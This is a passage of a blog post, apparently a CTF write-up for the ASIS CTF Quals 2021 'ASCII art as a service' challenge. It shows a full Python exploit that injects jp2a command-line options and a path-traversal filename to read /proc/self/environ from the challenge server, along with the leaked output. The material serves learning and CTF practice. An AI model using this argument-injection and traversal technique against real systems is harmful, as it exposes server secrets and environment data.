class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\n...\n      --chars=...   Select character palette used to paint the image.\n                    Leftmost character corresponds to black pixel, right-\n                    most to white.  Minimum two characters must be specified.\n...\n<\/pre><\/div>\n\n\n<p>As the description states, there is a palette of characters to create the ASCII art. Which character from the palette is used for a certain pixel is based on its grayscale value.<\/p>\n\n\n\n<p>We can see how this is done in the <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/cslarsen\/jp2a\" target=\"_blank\">source code of jp2a<\/a> in the file <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/cslarsen\/jp2a\/blob\/master\/src\/image.c\" target=\"_blank\">image.c<\/a>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\n...\n\t\t\tfloat Y = i-&gt;pixel&#x5B;x + (flipy? i-&gt;height - y - 1 : y ) * i-&gt;width];\n\t\t\tfloat Y_inv = 1.0f - Y;\n...\n\n\t\t\tconst int pos = ROUND((float)chars * (!invert? Y_inv : Y));\n\t\t\tchar ch = ascii_palette&#x5B;pos];\n...\n<\/pre><\/div>\n\n\n<p>Since the ASCII arts are monochrome a float value is sufficient to describe a pixel instead of a full RGB value. This grayscale value is stored in <code>Y<\/code>, which is multiplied with <code>chars<\/code>. <code>chars<\/code> was formerly set to <code>strlen(ascii_palette) - 1<\/code> (not shown above). The result is stored in <code>pos<\/code>, which is then used as an index into <code>ascii_palette<\/code>. This way the corresponding character from the palette is selected based on the grayscale value of a pixel.<\/p>\n\n\n\n<p>In order to make <code>jp2a<\/code> generate an arbitrary output of our choice we have to provide a custom palette using the <code>--chars<\/code> option. This palette should contain all characters, we want to write. Also we need to create an image, which encodes the content we want to write by representing each character by a pixel with the appropriate grayscale value.<\/p>\n\n\n\n<p>Let&#8217;s build a python script step by step, which carries out this approach.<\/p>\n\n\n\n<p>At first we need to retrieve a valid value for the express session id. This can simply be done by sending a <code>GET<\/code> request to the <code>\/request<\/code> endpoint:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n# Retrieve a valid session id. We need to extract the part between &quot;%3A&quot; and &quot;.&quot;\n# Example:\n# connect.sid=s%3AKIApMzewvhrQ63R4mBAXD3AoS9ffqTp6.5c7a%2Bj%2FdZ9hQ0AeVoHCUaJV%2FasWT%2FdTaVlK5bgerhkA\n# req.session.id = KIApMzewvhrQ63R4mBAXD3AoS9ffqTp6\n\ns = requests.Session()\ns.get(url+&#039;\/request&#039;)\nc = s.cookies.get_dict()\nsession_id = re.search(&#039;s%3A(&#x5B;a-zA-Z0-9-_]+)\\.&#039;, s.cookies.get_dict()&#x5B;&#039;connect.sid&#039;]).group(1)\nprint(&#039;retrieved session id: %s&#039; % session_id)\n<\/pre><\/div>\n\n\n<p>At next we generate the file content, we want to write and the corresponding palette. Though a little adjustment is necessary here. When <code>jp2a<\/code> writes the output to a file via the <code>--ouput<\/code> option a new line character at the end is appended. If we use the following content:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\n&lt;reqToken&gt;|&lt;req.session.id&gt;|.\/..\/..\/..\/..\/proc\/self\/environ\n<\/pre><\/div>\n\n\n<p>\u2026 this new line character ends up in our filename (<code>\".\/..\/..\/..\/..\/proc\/self\/environ\\n\"<\/code>) and nodejs will fail to read the file. In order to circumvent this, we simply add another pipe after the filename. This way the split operation will only extract the filename without a newline:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n# The content of the reqFileName file we want to write.\n# We need to append an additional pipe after the filename. Otherwise the filename contains a new line character at the end.\n# The palette should contain all chars \/ digits used.\n\nreqFileContent = &#039;a&#039;*32 + &#039;|&#039; + session_id + &#039;|.\/..\/..\/..\/..\/proc\/self\/environ|&#039;\npalette = &#039;&#039;.join(sorted(set(reqFileContent)))\nprint(&#039;palette: %s&#039; % palette)\n<\/pre><\/div>\n\n\n<p>Now we can generate the image, which encodes all characters from <code>reqFileContent<\/code> with their corresponding grayscale value:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n# Encode all characters using their index within the palette.\n# Store each character as a pixel with the corresponding grayscale value.\n\narr = &#x5B;]\nchars = len(palette) - 1\nfor ch in reqFileContent:\n  pos = palette.index(ch)\n  Y = round( pos \/ chars * 255 )\n  arr.append(Y)\nimg = Image.new(&#039;L&#039;, (len(reqFileContent) + 1, 1))\nimg.putdata(arr);\nimg.save(&#039;.\/flag.png&#039;)\n<\/pre><\/div>\n\n\n<p>The generated image (<code>flag.png<\/code>) should be hosted on a publicly available server. After making the image available, we can submit the URL to it also providing the required options for <code>jp2a<\/code>. In order to get our desired result we also use the options <code>--height<\/code> and <code>--width<\/code> to align the size with our file content.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n# Now we need to upload the create image to a publicly available server.\n# After the image has been uploaded we can submit the URL including the required options via the POST \/request endpoint.\n\ninput(&#039;press ENTER when uploaded flag.png &gt; &#039;)\nimg_url = &#039;http:\/\/&lt;IP&gt;\/flag.png&#039;\nj = {&#039;url&#039; : &#x5B;img_url, &#039;--height=1&#039;, &#039;--width=&#039;+str(len(reqFileContent)), &#039;--chars=&#039;+palette, &#039;--output=.\/request\/&#039;+&#039;a&#039;*32]}\ns.post(url+&#039;\/request&#039;, json=j)\n<\/pre><\/div>\n\n\n<p>After the URL has been submitted, we need to wait for <code>jp2a<\/code> to finish and should then be able to retrieve the result:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n# We have to wait until the ASCII art has been produced.\n# The output should be available via the GET endpoint \/request\/&lt;reqToken&gt;:\n\nsleep(3.0)\nr = s.get(url+&#039;\/request\/&#039;+&#039;a&#039;*32)\nprint(r.text)\n<\/pre><\/div>\n\n\n<p>The full script looks like this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python3\n\nimport requests\nimport re\nfrom PIL import Image\nimport subprocess\nfrom time import sleep\n\n\nurl = &#039;http:\/\/asciiart.asisctf.com:9000&#039;\n\n\n# Retrieve a valid session id. We need to extract the part between &quot;%3A&quot; and &quot;.&quot;\n# Example:\n# connect.sid=s%3AKIApMzewvhrQ63R4mBAXD3AoS9ffqTp6.5c7a%2Bj%2FdZ9hQ0AeVoHCUaJV%2FasWT%2FdTaVlK5bgerhkA\n# req.session.id = KIApMzewvhrQ63R4mBAXD3AoS9ffqTp6\n\ns = requests.Session()\ns.get(url+&#039;\/request&#039;)\nc = s.cookies.get_dict()\nsession_id = re.search(&#039;s%3A(&#x5B;a-zA-Z0-9-_]+)\\.&#039;, s.cookies.get_dict()&#x5B;&#039;connect.sid&#039;]).group(1)\nprint(&#039;retrieved session id: %s&#039; % session_id)\n\n\n# The content of the reqFileName file we want to write.\n# We need to append an additional pipe after the filename. Otherwise the filename contains a new line character at the end.\n# The palette should contain all chars \/ digits used.\n\nreqFileContent = &#039;a&#039;*32 + &#039;|&#039; + session_id + &#039;|.\/..\/..\/..\/..\/proc\/self\/environ|&#039;\npalette = &#039;&#039;.join(sorted(set(reqFileContent)))\nprint(&#039;palette: %s&#039; % palette)\n\n\n# Encode all characters using their index within the palette.\n# Store each character as a pixel with the corresponding grayscale value.\n\narr = &#x5B;]\nchars = len(palette) - 1\nfor ch in reqFileContent:\n  pos = palette.index(ch)\n  Y = round( pos \/ chars * 255 )\n  arr.append(Y)\nimg = Image.new(&#039;L&#039;, (len(reqFileContent) + 1, 1))\nimg.putdata(arr);\nimg.save(&#039;.\/flag.png&#039;)\n\n\n# Now we need to upload the create image to a publicly available server.\n# After the image has been uploaded we can submit the URL including the required options via the POST \/request endpoint.\n\ninput(&#039;press ENTER when uploaded flag.png &gt; &#039;)\nimg_url = &#039;http:\/\/&lt;IP&gt;\/flag.png&#039;\nj = {&#039;url&#039; : &#x5B;img_url, &#039;--height=1&#039;, &#039;--width=&#039;+str(len(reqFileContent)), &#039;--chars=&#039;+palette, &#039;--output=.\/request\/&#039;+&#039;a&#039;*32]}\ns.post(url+&#039;\/request&#039;, json=j)\n\n\n# We have to wait until the ASCII art has been produced.\n# The output should be available via the GET endpoint \/request\/&lt;reqToken&gt;:\n\nsleep(3.0)\nr = s.get(url+&#039;\/request\/&#039;+&#039;a&#039;*32)\nprint(r.text)\n<\/pre><\/div>\n\n\n<p>Running the script successfully reads the contents of <code>\/proc\/self\/environ<\/code> from the server:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/get_flag.py \nretrieved session id: P9fhIF3fpO2oH9S-viDxVi_VqFbQKmsD\npalette: -.\/239DFHIKOPQSV_abcefhilmnopqrsvx|\npress ENTER when uploaded flag.png &gt; \n{&quot;failed&quot;:false,&quot;result&quot;:&quot;HOSTNAME=99fee45de048\\u0000HOME=\/home\/www\\u0000TERM=xterm\\u0000PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\\u0000DEBIAN_FRONTEND=noninteractive\\u0000PWD=\/app\\u0000FLAG=ASIS{ascii_art_is_the_real_art_o\/_a39bc8}\\u0000NODE_ENV=production\\u0000&quot;}\n<\/pre><\/div>\n\n\n<p>The flag is <strong><code>ASIS{ascii_art_is_the_real_art_o\/_a39bc8}<\/code><\/strong>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The ASIS CTF Quals 2021 (ctftime.org) took place from 22\/10\/2021, 15:00 UTC to 24\/10\/2021, 15:00 UTC providing a total amount of 24 challenges. One of those challenges I really enjoyed was ASCII art as a service. This article contains my writeup for the challenge and is divided into the following sections: \u2013 Challenge Description \u2013 &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=2431\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;ASIS CTF Quals 2021 &#8211; ASCII art a a service&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24,7],"tags":[20,52,28],"class_list":["post-2431","post","type-post","status-publish","format-standard","hentry","category-ctf","category-writeup","tag-ctf","tag-nodejs","tag-web"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2431"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2431"}],"version-history":[{"count":55,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2431\/revisions"}],"predecessor-version":[{"id":2490,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2431\/revisions\/2490"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2431"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2431"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2431"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}